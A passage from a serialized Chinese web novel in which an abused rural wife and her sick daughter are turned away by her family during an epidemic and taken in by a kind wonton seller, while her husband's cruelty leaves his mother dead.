何芊菊艰难地背着女儿,每一步都显得那么沉重和吃力。她那原本挺直的脊梁此刻也因背负着孩子而微微弯曲。 阳光无情地照射下来,烤得大地发烫,也晒得她口干舌燥。但即便如此,她依旧咬着牙坚持前行,心中只有一个念头——快点回到娘家。 终于看到了熟悉的家门。那一刻,何芊菊心头涌起一股难以言喻的喜悦与希望。她原以为,自己亲爱的弟弟一定会毫不犹豫地收留她们母女俩,让她们能在这里安心地住上两天,好好休息一番。说不定,女儿冬雪的病情也能因此得到缓解甚至痊愈呢。 然而,当她刚刚走到门口时,一道尖锐的声音却如一盆冷水般当头浇下。只见弟媳春草双手叉腰,站在门前,脸上带着毫不掩饰的鄙夷之色。 “呦,这不年不月的,怎么突然回来了?还好意思空着手回来,该不会是被老李家给赶出来了吧!”春草阴阳怪气地说道。 何芊菊闻言,心中一阵刺痛,但还是强忍着委屈解释道:“弟妹,冬雪她病了,一直在发烧咳嗽,我实在没办法才想带她回来住两天。能不能先让我们进去喝口水,歇歇脚啊?”说着,她用祈求的目光望向春草。 春草双手叉腰,一脸不耐烦地说道:“喝水倒是没问题,但你们绝对不可以踏进这屋子一步!瞧瞧你们一个个病恹恹的样子,万一在这里有个三长两短,这个责任谁担得起?依我看呐,你们还是赶紧回李家沟去比较好!” 听到这话,何芊菊面露难色,她转头看向身旁沉默不语的弟弟,眼神里充满了求助和期待,多么希望弟弟能够站出来帮她说几句话。 只见弟弟默不作声地走进屋里,片刻后端着一碗清水走了出来,并将其递到了姐姐何芊菊手中。何芊菊接过那碗水后,如饥似渴般仰头猛灌了一大口,然后急忙晃醒了身边昏睡中的女儿。她小心翼翼地将水送到女儿嘴边,看着女儿小口小口地喝下一些后,这才松了一口气。紧接着,何芊菊又把碗举到自己唇边,大口大口地喝完了碗里所剩无几的水。 这时,弟弟抬起头,目光投向一旁仍有些不情愿的春草,轻声说道:“春草啊,要不就让我姐进屋歇会儿吧,她们一路奔波过来,实在太累了……” 春草猛地翻了个白眼,怒目圆睁,凑近了丈夫耳边说道:“进什么进?难道你不清楚吗?附近这些村子里已经死了那么多人啦!你再看看身后背着的这个小丫头,她那副病恹恹的模样,一看就知道病得厉害着呢!难不成你还真想让咱一家子几口人都跟着一块儿送命啊?” 弟弟被春草这么一通训斥,脸色瞬间变得有些难看,但他还是忍不住反驳道:“春草,你咋能这么说话呢?大家都是亲戚,总不能见死不救吧!” 春草却丝毫不让步,压低声音嘟囔着:“反正今天只要她们敢迈进咱家,我立马转身就走,哼!谁怕谁呀!”说完,她双手抱在胸前,扭过头去不再理会。 弟弟无奈地看着姐姐,沉默片刻后说道:“姐,要不……要不你还是先回自己家去吧。实不相瞒,这家里如今真的没有多余的房间给你住了。你以前睡的那间屋子,早就被腾出来专门用来养了好几只小羊羔子。而且你平常也很少回来,这次突然回来,我们一时半会儿也没啥准备。不过你放心,等再过些日子,我一定亲自到李家沟去看望你们。”说到最后,弟弟脸上露出一丝尴尬的笑容,似乎对眼下这种状况感到很不好意思。 何芊菊心里跟明镜儿似的,瞧这情形,弟弟家显然并不乐意看到自己归来。她默默地将手中喝完水的碗递向弟媳春草,声音里透着一丝落寞与决绝:“既然这样,那我们就不进去了,我这就带冬雪走啦!” 春草面带微笑,双手接过碗,嘴上说着客气话:“那姐姐您路上可得小心点儿哟!我们就不远送啦!”然而,就在何芊菊转身背着女儿缓缓向前走出几米之后,春草脸上的笑容瞬间消失得无影无踪,取而代之的是满脸的嫌恶之色。只见她毫不犹豫地将碗狠狠扔到一旁,只听“哗啦”一声脆响,碗摔成了无数碎片。 何芊菊当然听到了身后传来的声响,但她只是无奈地轻叹一口气,心中五味杂陈。遥想当年,父母一心只想赶紧把自己嫁出去,只为能换取些许钱财当作弟弟娶亲的彩礼。而如今,自己背负着重病的女儿回到娘家,本以为能够得到些许温暖和庇护,没想到弟弟竟也如出一辙地将她们拒之门外。想到此处,她只觉得心灰意冷,对这个世界、对周围的亲人都充满了深深的失望。 此时此刻,女儿依旧发着高烧,病情丝毫不见好转,而自己却是走投无路、无处可去。倘若硬着头皮再次返回那个所谓的家,按照丈夫李万原那暴躁易怒的性子,即便女儿的病痊愈了,恐怕也难逃一顿毒打,女儿还小怎么受得了!可是,娘家这边已然吃了闭门羹,这天高地阔之间,究竟何处才能成为她们母女俩的安身之所呢? 发着高烧的冬雪,小脸通红如熟透的苹果,额头上豆大的汗珠不断滚落,但她依然强打着精神,关切地询问着自己的娘:“娘,您背着我走这么久,累了吧?不然就让我下来自己走吧!”声音虽虚弱无力,却充满了对娘亲的心疼与体贴。 何芊菊听到女儿的话语,眼眶瞬间湿润了,泪水在眼眶里打转,她连忙安慰道:“娘不累,我的冬雪最乖啦!冬雪再坚持一下,很快就能到县城找到医生给你看病了。”说罢,她咬咬牙,加快了步伐,背着女儿坚定地朝着县城的方向走去。 与此同时,李万原家里也是乱成了一团。原来,李万原的母亲不知怎的竟然也发起了高烧来。郭芳子那张原本就刻薄的嘴更是骂骂咧咧个不停:“肯定是那个小赔钱货把病传给我的!真是晦气!” 一旁的李万原听不下去了,他皱起眉头说道:“那正好啊,既然这样,您就出去陪着那个小赔钱货吧,也好互相照顾。让我媳妇儿进来歇会儿,反正我媳妇儿又没生病!”此时的李万原心里想着,何芊菊母女俩应该还老老实实地守在门外呢。 郭芳子一听这话,气得差点跳起来,指着李万原的鼻子破口大骂:“好你个白眼狼啊!我可是生你养你的亲娘,你现在竟敢要赶我出去,你还有没有点良心?简直就是不孝至极!”说完,一屁股坐在床上,呼哧呼哧地喘着粗气。 李万原一脸愤怒地对着郭芳子喊道:“那冬雪也是您的亲孙女啊,您之前不还信誓旦旦地说过,只要谁生了病,就得老老实实待在外面等着病好之后才能进来吗?怎么到您这儿就行不通啦!” 郭芳子听到这话,气得浑身发抖,眼前突然一阵发黑,差点站立不稳。她怒不可遏地扬起手,想要教训这个忤逆的儿子,嘴里骂道:“你这忘恩负义、不孝不义的东西,看我今天不打死你!”然而,由于太过激动,她脚下一滑,一个踉跄便重重地摔倒在了冰冷坚硬的地面上。 郭芳子狼狈地趴在地上,艰难地伸出双手,向着李万原哀求道:“万原啊,快过来扶娘一把!” 谁知李万原却站在原地无动于衷,甚至还后退了两步,冷漠地回应道:“哼,我才不敢碰您呢!万一您身上的病传给我怎么办?我可不想因为您而染上什么怪病!”说完,他转身走到门前,伸手用力拉开了大门。 李万原朝门外张望了一番,却惊讶地发现何芊惠和冬雪早已不见了踪影。他皱起眉头思索片刻后自言自语道:“罢了罢了,她们俩估计也跑不远,迟早都会自己乖乖回来的,我又何必为此费心劳神呢!”想到这里,李万原便不再理会,随手“砰”的一声关上了门。 随后,李万原将目光投向一旁还在地上的母亲,轻声说道:“娘啊,要不您这样,去我那个哑巴表妹那里小住几日如何?”他一边说着,一边观察着母亲的反应。 只见郭芳子听到这话后,身体猛地一颤,然后颤颤巍巍地用双手支撑着地面,艰难地从椅子上爬起了身。她伸出一只手指着李万原,气得嘴唇直哆嗦,声音颤抖地骂道:“你这个不孝之子......” 然而,话还未说完,她便感觉一股巨大的力量从身后传来,整个人瞬间失去平衡向前扑去。原来是李万原毫不留情地一把将她推出了门外,并迅速地关上了房门。紧接着,屋内传出李万原冷漠的声音:“娘,您正好出去帮忙找找芊菊在哪,让她好生照料您!” 郭芳子怎么也想不到,有朝一日自己竟然会被亲生儿子如此无情地赶出家门。她呆呆地站在门口,泪水在眼眶里打转,心中满是绝望和哀伤。过了好一会儿,她才回过神来,拖着沉重而又疲惫的身躯,一步一挪地朝着李安硕家走去。 当走到李安硕家门口时,郭芳子抬起手,轻轻地敲了敲门。不一会儿,门开了,李安硕出现在眼前。郭芳子强忍着悲伤,勉强挤出一丝笑容问道:“安硕啊,美娟呢?这几日怎么都不见她出门呀?” 李安硕看着满脸憔悴的郭芳子,叹了口气回答道:“唉,婶儿,我们家如今可真是多灾多难啊!除了我之外,其他人全都病倒了。我也是忙得焦头烂额,这不,刚刚才给他们熬完药。对了,听说你们家冬雪也生病了,不知道她现在情况有没有好转一些?” 郭芳子一时间语塞,她的脸色微微涨红,显得十分尴尬。她抿了抿嘴唇,声音略微发颤地说道:“哦……那个,我就是随口问问,不知道您有没有看到我们家芊菊呀?”说完,她不安地搓着双手,目光闪烁不定,似乎不敢直视李安硕的眼睛。 李安硕轻轻摇了摇头,语气平静地回答道:“不好意思啊,婶子,我这一整天都在屋里忙着照顾美娟和孩子呢,根本就没留意到外面发生了啥事儿。怎么啦?难道芊菊没在家么?”他一脸疑惑地看着郭芳子,心里暗自思忖着到底出了啥事。 听到这话,郭芳子的眼神瞬间黯淡了下来,她轻轻地叹了口气,无奈地应道:“哦,没啥大事儿。既然你这儿也没见着她,那我就先回去了。”说着,她转身缓缓离去,脚步显得有些沉重。 就在这时,郭芳子突然停下了脚步,心中涌起一股深深的懊悔之情。她不禁想到,如果当初自己没有那般嫌弃孙女,也许此时此刻,何芊菊正乖乖地待在家里,尽心尽力地伺候着自己,把自己照顾得无微不至。只可惜,如今一切都已经太晚了。 郭芳子越想越是悔恨交加,她暗自责怪起自己来。要是早知道儿子会如此忘恩负义、狼心狗肺,不管不顾自己这个母亲,她说什么也不会对儿媳那么刻薄恶劣的。毕竟,儿媳妇平日里可是全心全意地照顾着自己,毫无怨言呐!可现在,自己却落得这般凄凉的下场,真是悔不当初啊! 郭芳子悠悠地叹了一口气后,缓缓地、笔直地坐在自家门口那有些破旧的门槛上,目光空洞无神地望着远方。就在这时,吴桂华正巧路过这里。她看到郭芳子这般模样,不禁心生好奇,于是走上前去,热情地打招呼道:“哟,这不是万原他妈嘛,您咋坐在门口不进屋呢?” 郭芳子听到声音,猛地回过神来,脸上瞬间浮现出一抹尴尬之色,她讪笑着回答道:“唉,人老啦,出来晒会儿太阳。” 吴桂华闻言,瞪大了眼睛,难以置信地说道:“这么大热天的,您还晒太阳呐?我没听错吧!”说罢,还用手扇了扇风,仿佛这样能驱散一些炎热似的。 郭芳子心中不由得涌起一股悲凉之感,仿佛有一盆冰水从头浇到脚,让她从头到脚都感到瓦凉瓦凉的。此刻的她,似乎已经完全感觉不到外界的温度了,只是呆呆地坐着,思绪早已飘向了远方。 而另一边,何芊菊正吃力地背着年幼的女儿艰难地向前走着。母女俩一路走走停停,汗水早已湿透了她们的衣衫。当路过一个馄饨摊时,一阵诱人的香气扑鼻而来,一下子就吸引住了何芊菊背上的小女儿冬雪。小家伙忍不住吸了吸鼻子,奶声奶气地说道:“娘,闻起来好香啊!” 何芊菊听到女儿的话,心头一酸。她下意识地摸了摸口袋,发现里面空空如也,连一分钱都没有。想到这里,她无奈地叹了口气,然后轻声对女儿说道:“乖孩子,娘没钱,娘去问问能不能讨碗水给你解解渴。” 说着,她拖着疲惫不堪的身体走到馄饨摊前,用近乎哀求的语气问道:“老板,可以给我们母女俩一碗水喝吗?实在是太渴了……” 然而,话音未落,何芊菊突然感觉到眼前一黑,身子一软,整个人便毫无征兆地倒了下去! 当再次缓缓地睁开双眼时,四周已是一片漆黑,仿佛被墨汁浸染过一般。自己正静静地躺在一个全然陌生的地方,心中不由得涌起一阵恐慌和迷茫。然而,稍稍转头看去,却惊喜地发现女儿正安静地躺在身旁,如同一只乖巧的小猫般沉睡。 正当何芊菊准备起身弄明白自己究竟身处何地之时,房门忽然被轻轻推开。一个看上去与自己年纪相仿的女人走了进来,她的身后紧跟着一个年龄稍大些、约摸比冬雪年长一两岁的女孩。只见那女人面带微笑,轻声说道:“哎呀,你总算是醒来啦!既然醒了,那就赶紧吃上一碗热气腾腾的馄饨吧!” 听到这话,何芊菊有些疑惑地看着眼前的女人,开口问道:“请问……这是什么地方?” 那女人闻言微微一笑,说道:“说来也真是巧合得很呢!当时你就这么毫无征兆地突然晕倒在了我的馄饨摊旁边。看到这种情形,我赶忙找人帮忙,一起将你们搀扶到我家中来。而且啊,这孩子发着高烧呢,看这样子,你应该是带着她出门寻大夫的吧?” 何芊菊心中一惊,来不及多想便迅速伸出手去触摸女儿的额头。就在这时,坐在对面的那位面容和蔼的女子开口说道:“妹子啊,别担心,我已经请大夫给你们瞧过啦。大夫说了,如果再晚来一会儿,这孩子怕是就危险咯!好在咱们遇上了医术高明的张大夫,过不了两天,您家这孩子定然能够痊愈!” 听闻此言,何芊菊心头一松,但紧接着又被一股强烈的感激之情所淹没。她二话不说,双膝跪地,泪水夺眶而出:“多谢大姐出手相救,若不是您,我和我的女儿可真不知该如何是好……” 那女子见状,连忙伸手将何芊菊搀扶起来,轻声安慰道:“妹子快起来,千万别这样。这人活一世,谁还能没有个遇到难处的时候呢?想当年,我即将临盆的时候,也是独自一人挺着大肚子在路边,当时的我真是叫天天不应,叫地地不灵啊!还好老天开眼,让我碰上了一位心地善良之人及时施以援手,否则哪还有今日的我们母女俩哟!” “我今天看到你们母女两个,仿佛看到了多年前的自己,所以忍不住好奇问问,你们是打哪儿来的呀?”说话之人满脸和蔼,眼中透露出一丝关切之情。 只见何芊菊微微抬起头,轻声回答道:“我是从李家沟过来的。”她的声音清脆悦耳,犹如黄莺出谷一般动听。 听到“李家沟”三个字,那女子的眼睛顿时一亮,追问道:“李家沟?那你可知道李云亭和秀兰那两口子?”语气之中明显多了几分急切。 何芊菊点了点头,应声道:“都是一个村的,自然是知道的!只是没想到你们居然也认识?”说完,她用疑惑的眼神看着对方。 那人长叹了一口气,缓缓说道:“唉,也没什么特别的事儿,就是想知道一下他们家现在过得如何?毕竟曾经也算相识一场。” 何芊菊微微一笑,开始讲述起来:“他们家如今可是热闹得很呐!现下有三个儿子,个个都长得结实健壮、聪明伶俐。跟我们家比起来,真可谓是天壤之别。”说到这里,何芊菊不禁黯然神伤,眼眶微微泛红,“不像我,肚子不争气,连个儿子都生不出来,我们当家的才会对我们母女百般嫌弃......” “谁说我们女人就非要生个儿子了?真是没想到云亭和秀兰都有三个孩子了!妹子,我叫蒋晶晶,我看到你们母女两人身上的伤痕了,要我说,你家那位肯定也不是什么好男人。我看你跟我投缘,我们女儿年纪也差别不大,要我说,你就别走了,跟我一起卖馄炖算了!我们互相也是个照应。” 原来当年,蒋晶晶挺着大肚子,孤身一人在外漂泊,最终产下了女婴。她满心欢喜地给孩子取名叫做蒋依依。为了能够将这个小生命抚养长大,蒋晶晶毅然决然地选择做起了卖馄饨的营生。 每日清晨,蒋晶晶便早早起身准备食材,在熙熙攘攘的闹市中摆开摊位。尽管日子过得有些艰辛,但看着女儿一天天健康成长,她心中充满了欣慰和满足。 就这样,母女二人相依为命,虽不富裕却也温馨和睦。然而,这么多年来,蒋晶晶从未向女儿提及过自己的其他家人,仿佛那段过往被深深地埋藏在了心底最深处。 第84章 新生活 此时,看到何芊菊一副若有所思的模样,蒋晶晶赶忙说道:“快趁热吃点东西吧,吃完了好好休息,有什么话咱们明天再说!你呀,别担心你的女儿啦,她已经吃过东西、喝过药了,现在好着呢,放心吧!”说着,蒋晶晶微笑着轻轻拍了拍何芊菊的肩膀,眼神中透露出一种让人安心的温暖光芒。 蒋晶晶带着女儿走出房间,留下何芊菊独自一人坐在桌前。她一边默默地流着眼泪,一边大口地吃着碗里热气腾腾的馄饨,兴许是陌生人的温暖让她感觉到了这辈子从未有过的关心,让她觉得自己这辈子好像从未品尝过如此美味的食物。这一晚,觉也睡得格外香甜,仿佛所有的疲惫和忧愁都被抛到了九霄云外。 时光飞逝,转眼间第二天清晨的阳光透过窗户洒在了房间里。冬雪经过一夜的休息,看起来精神焕发,比往日要活泼许多。她早早地就从床上醒来,一骨碌爬起来,眨巴着那双灵动的大眼睛,看母亲还没睡醒,她悄悄下了床,打开门看到了蒋依依正坐在门口。 蒋依依看着眼前乖巧的冬雪,脸上露出了甜美的笑容,然后变戏法似的掏出两个香喷喷的烤红薯,轻声说道:“饿不饿呀?要不要吃这个,一人一个哦!” 冬雪看到烤红薯,眼中顿时闪过一丝惊喜,但又有些犹豫地伸出小手,小心翼翼地接过其中一个。她怯生生地问道:“姐姐,你把红薯给我吃,你爹爹知道了会不会打你呀?” 听到这句话,蒋依依先是微微一愣,随后低下头小声嘟囔道:“我……我没有爹爹。” 冬雪好奇地追问:“为什么姐姐会没有爹爹?” 蒋依依咬了咬嘴唇,悄悄凑到冬雪耳边说:“我娘跟我说,爹爹很坏,喜欢打人,所以我娘就不要他啦。”说完,她抬头看向天空,眼神中透露出一丝淡淡的忧伤。 冬雪那精致的小脸上,流露出满脸仰慕的神情,她那双清澈如水的眼眸里闪烁着光芒,喃喃地说道:“你娘实在是太伟大了,如果我的娘也能够像你娘这般勇敢,那该有多好啊!” 蒋依依听到这话,不禁微微一怔,随后关切地问道:“难道说,你爹也喜欢动手打人吗?” 冬雪重重地点了点头,眼眶瞬间泛红,泪水在眼眶里打转。她缓缓地拉起自己的衣袖,将手臂上那一道道触目惊心的伤痕展现在蒋依依面前,哽咽着说道:“我娘身上的伤……可比我还要多得多呢!每次爹爹喝酒或者心情不好的时候,就会拿我们出气……” 就在这时,一直站在一旁默默观察着这一切的蒋晶晶,看着眼前这个可怜兮兮、浑身伤痕累累的小姑娘,心中不由得涌起一股强烈的怜悯之情。她暗自下定决心,无论如何,都绝不能再让这对母女回到那个充满痛苦和折磨的家,继续遭受苦难。 而蒋依依则瞪大了眼睛,难以置信地望着冬雪身上那些密密麻麻的伤疤,惊讶得连嘴巴都张得大大的,久久无法合拢。她心里暗暗思忖道:“怪不得我的娘会离开爹,原来天下所有的爹爹都是这么坏的!还是胡良全叔叔好!” 正在这时,一个身影从屋内缓缓走出,正是冬雪的母亲——何芊菊。只见冬雪飞奔向何芊菊,并紧紧拉住她的手,哀求道:“娘,求求您了!咱们能不能也像姐姐她们那样,不要爹爹了,我们不要再回家了好不好?冬雪真的一点儿都不想再回去了!” 何芊菊满脸愁容地轻轻抚摸着女儿的小脑袋,心中满是忧虑和无奈。其实,她心里比谁都清楚,那个名叫李万原的男人绝非良人。然而,此刻的她身无分文,举目无亲。即便眼前这位善良的蒋晶晶仗义相救,救了她们母女于水火之中,但总不能一直厚着脸皮赖在此处不走呀,这样终究不是长久之计。 何芊菊看着乖巧懂事的女儿,轻声说道:“冬雪啊,娘现在口袋里一分钱都没有,如果咱们不回家的话,那咱俩就连个能遮风挡雨睡觉的地方都找不到啦。难道说,你真的想要跟着娘一起去街头讨饭吃吗?” 冬雪紧紧抱住母亲的胳膊,眼神坚定地回答道:“娘,哪怕是去要饭,我也心甘情愿,反正我就是不想再回去了!” 一旁的蒋晶晶听后,连忙走上前来安慰道:“我说妹子呀,昨儿晚上我对你说的那些可全都是掏心窝子的大实话呢!你们母女俩千万别再回那李家沟了,动手打女人的男人不要也罢!咱们得靠自己的力量好好活下去,这世上离开了男人,难道就真没办法过日子啦?” 何芊菊感激地看了一眼蒋晶晶,苦笑着摇摇头说道:“大姐,你的好意我心领了,只可惜我这人实在太笨手笨脚了,啥都干不好,到时候恐怕只会给你添麻烦……” 她的话尚未说完,便被蒋晶晶打断道:“哎呀,妹子,瞧你把话说得这么严重干啥!别的不说,包包子这个活儿你总会做吧!” 何芊菊微微颔首,表示认同地点了点头,轻声说道:“包子我倒是会,只是……你不一直都是卖馄饨的么?”她那明亮的眼眸里透露出一丝疑惑。 蒋晶晶笑了笑,解释道:“实不相瞒呀,刚开始那会儿呢,我这包子和馄饨可是两手抓,两样都做着呢!奈何后来生意越来越红火,我独自一人实在是忙不过来啦!所以没办法,就只做馄饨了。不过嘛,那蒸包子用的屉子倒是可以借给你用。而且这头一回的用料就算姐姐我的,等你赚到钱了,全归你自个儿!这样一来,你也能赚到点钱去养活你们母女俩喽!” 然而,此时的何芊菊脸上仍浮现出些许犹豫不决之色。见状,蒋晶晶不禁着急起来,赶忙劝说道:“妹子啊,即便你不为自己多想想,也总得为孩子考虑考虑吧!难不成你真想眼睁睁地看着自家闺女也这样被挨打挨骂一辈子?再说了,谁说没有儿子,女儿就不配读书啦?咱们可不能这么想!” 何芊菊听到这句话后,犹如醍醐灌顶一般,心中顿时清明了许多。她不禁感叹道,自己这一辈子或许就这样了,已然看不到任何希望,但冬雪不一样啊,她的人生才刚刚开始呢。倘若此时回到那个家,以李万原那暴躁易怒的性子,天天对她们母女俩动手动脚的,说不定哪天就会被打出什么问题来。况且,李万原放言,女孩子根本没必要读书识字,反正将来也是要嫁到别人家去的,花钱供她们读书简直就是浪费钱财,有那些钱倒不如买上两斤香喷喷的猪肉来得实在。 就在这时,蒋晶晶轻轻地拉起何芊菊的手,语重心长地说道:“妹子,你就听姐一句劝吧。你卖你的包子,我呢,则做我的馄饨摊儿,咱们姐妹俩相互作伴,也能互相照应着点儿。等再过段时间,就让冬雪和我家依依一块儿去学堂念书去!” 冬雪听闻此言,满心欢喜地跑过来紧紧抓住母亲的衣角,撒娇般地央求着:“娘,您就答应了吧!” 看着乖巧懂事的女儿,何芊菊再也抑制不住内心汹涌澎湃的情感,她缓缓地牵起冬雪的小手,然后双膝一软,噗通一声跪倒在地。泪水像决堤的洪水一般夺眶而出,顺着脸颊不停地流淌下来。她泣不成声地说道:“蒋大姐,大恩大德无以为报,谢谢您!若不是您出手相助,我们母女二人恐怕真的走投无路了……” 蒋晶晶眼疾手快,一把扶住了何芊菊,急切地说道:“哎呀,大妹子,你这是做什么呀?咱们可都是女人,彼此照应也是应该的!快快快,赶紧站起来,这样子我可真是承受不起啊!” 何芊菊满脸泪痕,声音哽咽地说:“那……那就让冬雪给您磕个头吧。若不是有您出手相助,只怕我的冬雪她早就……” 话未说完,泪水又如决堤般汹涌而出。回想起冬雪生病后的种种遭遇,先是狠心的婆婆将她们母女赶出家门,接着娘家那边也对她们百般嫌弃,走投无路之际,竟然能遇到像蒋晶晶这般善良且毫不相干之人如此尽心尽力地帮衬自己,何芊菊心中感慨万千,悲伤与感激交织在一起,化作滚滚热泪,怎么止都止不住…… 只见冬雪乖巧地跪在地上,恭恭敬敬地朝着蒋晶晶磕了一个响头,然后伸出小手紧紧拉住何芊菊的衣角,轻声安慰道:“娘,您别哭啦!” 何芊菊一边擦着眼泪,一边努力挤出一丝笑容,说道:“冬雪乖,娘不哭,娘这是高兴啊,真的特别高兴!”此时此刻,何芊菊仿佛找到了情绪的宣泄口一般,尽情释放着这些年来深埋在心底的伤痛和委屈。她紧紧拥抱着女儿,母女二人相拥而泣,哭声回荡在房间里,让人不禁为之动容。 蒋晶晶轻轻地将一条热气腾腾的毛巾递给了满脸泪痕的何芊菊,温柔地说道:“来,擦擦吧,哭出来啊,心里也就舒服多啦!” 接过热毛巾的何芊菊用力地点了点头,她用毛巾捂住脸,让那温热的感觉抚慰着自己受伤的心。 过了一会儿,何芊菊放下毛巾,眼中虽然还带着些许红肿,但神情却坚定了许多。她深吸一口气,看着蒋晶晶和一旁的冬雪,郑重地说道:“我们不走了,就在这里安定下来。我愿意去卖包子,靠自己的双手努力生活。从此以后,我再也不想回到过去那个地方,要与从前彻底地一刀两断!从现在起,我要努力,让冬雪过上更好的生活!” 听到这话,冬雪兴奋得像个孩子一般,不住地点头,脸上绽放出比春日阳光还要灿烂的笑容。她那双明亮的大眼睛里闪烁着对未来的无限憧憬和期待,仿佛已经看到了她们美好的新生活正在向她们招手。 就在这时,只听见一阵轻微的脚步声由远及近地传来,紧接着门被轻轻地推开,一个身影缓缓走了进来。 蒋晶晶瞬间绽放出欣喜的笑容,她快步迎上去说道:“胡大哥,您怎么有空过来啦?” 一旁的蒋依依更是按捺不住内心的激动,像一只欢快的小鸟般飞奔到那人面前,满脸兴奋地喊道:“胡叔叔,您终于来啦!我们都可想您了呢!” 来人正是胡良全,他微笑着看着眼前热情洋溢的两人,手上提着满满一篮子的水果蔬菜和精致的点心。他将这些东西递到蒋晶晶手中,关切地说:“我今天路过集市的时候发现你没有出摊,心里不禁有些担心,生怕你这里是不是出了什么状况,这不,赶忙过来看一看。” 蒋晶晶接过那沉甸甸的篮子,心中涌起一股暖流,感激之情溢于言表:“胡大哥,您总是这么细心周到,太感谢您了!” 然后,她转过头对着屋内说道:“来来来,我给大家介绍一下,这位就是胡大哥。”接着,她又指向站在角落里的何芊菊,继续介绍道:“这位,就是何芊菊。” 胡良全听到这个名字后微微一愣,随即恍然大悟道:“我说怎么瞧着眼熟呢,这不是昨天晕倒在馄饨摊子旁边的那位母女嘛!当时可把晶晶吓了一跳呢。现在看起来精神好多了呀,真是太好了!” 蒋晶晶面带微笑地说道:“是呀,就是她们。” “昨天可真是多亏了胡大哥呢,要不是他帮忙把你背进来,还真不知道怎么把你给弄进来呢!” 何芊菊听到这话,不禁羞涩起来,她那白皙的脸颊瞬间染上了一抹绯红。她微微低下头,轻声细语地说道:“原来是这样啊,那我可得谢谢胡大哥啦!” 胡良全连忙摆了摆手,憨厚地笑道:“哎呀,妹子,这有啥可谢的?我不过是听从晶晶的安排罢了!” 说看看着蒋晶晶:“看到你们平安无事,我也就放心了。既然你这边没啥事儿了,那我就先回去干活儿咯!”说完,他转身准备离去。 就在这时,蒋晶晶赶紧叫住了他:“胡大哥,你等等!”然后匆匆跑进屋里,不一会儿功夫,只见她手里拎着一个袋子走了出来。原来,那袋子里装的是她刚刚蒸好的热气腾腾的包子。 蒋晶晶将袋子递到胡良全面前,热情地说:“这是我刚做的包子,还热乎着呢,你带回去尝尝!”胡良全有些不好意思,但还是伸手接过了袋子,并再次向蒋晶晶道谢。随后,他脸上洋溢着笑容,迈着轻快的步伐离开了这里。 何芊菊一脸惊讶地看着两人,疑惑地问道:“你们两个……是……?” 蒋晶晶陷入了深深的回忆之中,她缓缓开口说道:“那一年,我怀着依依即将临盆,肚子疼痛难忍,我独自一人艰难地扶着肚子,想要到外面去寻找一位大夫帮忙。可是,天公不作美,偏偏在这个时候下起了大雨。” 说到这里,蒋晶晶的眼眶微微泛红,声音也有些哽咽起来:“当时的我真的觉得自己快要撑不下去了,就在我感到绝望的时候,突然,胡大哥就像从天而降的救星一样出现在我的面前。他二话不说便抱起我,冒着大雨将我送到了附近的医馆里。我才顺利地产下了依依。” 蒋晶晶擦了擦眼角的泪水,接着说道:“不仅如此,后来那个馄饨摊也是多亏了胡大哥的帮忙。刚开始的时候,因为只有我一个女人经营着摊子,总会有一些泼皮无赖见我势单力薄,时不时地前来找茬儿、欺负我。每次遇到这种情况,都是胡大哥挺身而出,毫不畏惧地将那些坏蛋统统赶走。而且,平日里他也总是会抽空过来关照我们母女俩,给我们带来许多温暖和帮助。如果没有胡大哥,恐怕我们母女二人不知道要吃多少苦头呢。” 何芊菊恍然大悟般说道:“哦,原来是这样啊!不过刚才我看到他看向你的眼神,好像……。” 听何芊菊这么说,蒋晶晶不禁微微一笑,嘴角扬起一抹淡淡的弧度,轻声回应道:“你观察得还挺仔细嘛。其实嘛,早在两年前的时候,他就曾经向我表达过心意。只可惜……,他母亲也不同意他与我往来,再加上如今我已然有了依依,对于其他那些感情之事,也就不那么看重了。”说着,她低头轻轻抚摸着怀中孩子柔软的头发,眼中满是慈爱与满足。 实际上,蒋晶晶的内心深处还隐藏着许多其他的忧虑和不安。她时常担心吴家是否会在某一天毫无征兆地出现在她面前,打破她现有的平静生活。这种担忧就像一片乌云,始终笼罩在她的心头上,让她难以真正放松下来。 值得庆幸的是,这几年里,无论是吴家还是蒋家的人,都未曾寻到过她的踪迹。然而,尽管如此,她对于自己未来的感情之路仍然感到无比迷茫。 毕竟,过去那段经历给她带来了深深的创伤,使得她不想去相信爱情。而且,眼下她还有一个女儿需要抚养。这个可爱的女儿成为了她生命中的全部重心,因此,她根本无暇去思考太多关于个人情感方面的问题。 话说回到老李沟,李万原悠悠转醒,从床上爬起来后只觉得肚子饿得咕咕直叫。他下意识地张嘴呼喊起自家媳妇和老娘来,然而四周一片寂静,没有丝毫回应。 这时,他才猛然想起那个可恶的何芊菊不知道跑到哪里去了,居然胆敢夜不归宿! 心中带着些许恼怒,李万原快步走到院门前,一把将其推开,准备出门去看看。谁知就在门刚被打开的瞬间,一道身影毫无征兆地突然朝他扑倒过来。李万原猝不及防之下被吓了一大跳,连忙向后倒退了一步。待他定下神来定睛一看,眼前的情景让他顿时如坠冰窖——只见倒在地上的竟然是自己的母亲!她双眼圆睁,目光直直地盯着前方,就这样一动不动地横躺在那里...... 李万原的心猛地揪紧,双手不受控制地颤抖起来。他战战兢兢地伸出手指,缓缓靠近母亲的鼻翼下方,想要试探一下还有没有气息。当指尖触碰到那冰冷且毫无动静的皮肤时,一股寒意从脊梁骨直冲脑门儿——母亲已经没气了!而且还是死不瞑目的样子! 看到这一幕,李万原惊恐万分,再也顾不得其他,转身便像疯了一样狂奔出家门。而与此同时,住在隔壁的郭美娟经过几天的休养,今天总算是退了烧,身体也稍稍恢复了一些力气。她刚刚坐到自家院子里,就瞧见李万原神色惊惶、脚步踉跄地从门口跑过。 李万原满脸惊恐之色,他一边拼命地奔跑着,一边声嘶力竭地呼喊着:“死了......死了啊!” 李安硕见状,眉头紧皱,连忙问道:“你到底在说些什么呀?别慌,慢慢说!”然而此时的李万原已经被吓得六神无主,根本无法回答李安硕的问题,只是一个劲儿地重复着那句令人胆寒的话:“死了......”然后像受惊了一般,迅速躲到了李安硕的身后。 一旁的郭美娟赶紧走上前来,安慰道:“先喝杯水吧。”她转身给李万原倒了一杯水递过去。 李安硕见李万原如此惊慌失措,决定亲自过去查看一番究竟发生了何事。于是,他大步朝着李万原的家中走去。 刚一推开门,就看到了郭芳子躺在地上,双眼圆睁,死不瞑目,那恐怖的模样让李安硕也不由得心中一惊。 李安硕强忍着内心的不适,缓缓走出房门,回到了自己家中。 郭美娟急忙迎上前去,焦急地比划着:“怎么样?到底是怎么回事儿啊?” 李安硕脸色凝重地看着李万原,叹了口气说道:“人都已经走了,还是准备后事吧!逝者已矣,节哀顺变。大家都是自家人,你怎么这么惊慌失措?” 